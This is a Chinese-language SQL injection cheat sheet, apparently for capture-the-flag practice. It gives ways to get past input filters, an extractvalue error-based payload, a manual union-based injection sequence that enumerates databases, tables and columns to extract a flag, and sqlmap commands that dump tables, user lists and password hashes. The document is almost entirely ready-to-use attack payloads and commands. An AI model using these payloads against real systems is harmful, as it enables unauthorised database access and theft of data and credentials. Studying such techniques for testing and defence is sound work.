过滤解决方案
- 过滤空格, 可以使用括号() 或者注释 绕过
- 过滤and, 可以使用or替代
- 过滤union, 可以用盲注替代联合注入
- 过滤逗号, 可以使用特殊语法绕过, 比如:substr(database(),1,1) 可以用substr(database() from 1 for 1)来代替
- 盲注时,表名库名等名称请用16进制转换,前加 0x 后再进行发送数据
- 字符型注入使用单引号闭合,使用 --+ 闭合后单引号
- 报错注入:利用extractvalue来xpath报错。1 and (select extractvalue(1, concat(0x7e, (select database()))))
手动注入过程
寻找注入点
?id=1 and 1返回正常
?id=1 and 0返回空
就证明存在注入点
判断字段数量
?id=1 order by x
然后寻找注入点
?id=-1 union select 1,2,3
返回数据库名
?id=-1 union select 1,(database()),3
返回所有表名
?id=-1 union select 1,(select group_concat(table_name)from information_schema.tables where table_schema="数据库名"),3
获取flag表中的所有字段
?id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema="数据库名" and table_name="flag表名"),3
select group_concat(column_name) from information_schema.columns where table_name="flag表名"
接下来查询flag表的flag对应字段,获取flag
?id=-1 union select 1,(select flag字段 from flag表名),3
sqlmap注入
关于sqlmap的基础命令,将url修改为需要注入的url即可
查询sqlmap是否存在注入命令
sqlmap.py -u url/?id=1
查询当前用户下的所有数据库
sqlmap.py -u url/?id=1 --dbs
获取数据库的表名
sqlmap.py -u url/?id=1 -D (数据库名) --tables
获取表中的字段名
sqlmap.py -u url/?id=1 -D (数据库名) -T (输入需要查询的表名) --columns
获取字段的内容
sqlmap.py -u url/?id=1 -D (数据库名) -T (输入需要查询的表名) -C (表内的字段名) --dump
查询数据库的所有用户
sqlmap.py -u url/?id=1 --users
查询数据库的所有密码
sqlmap.py -u url/?id=1 --passwords
查询数据库名称
sqlmap.py -u url/?id=1 --current-db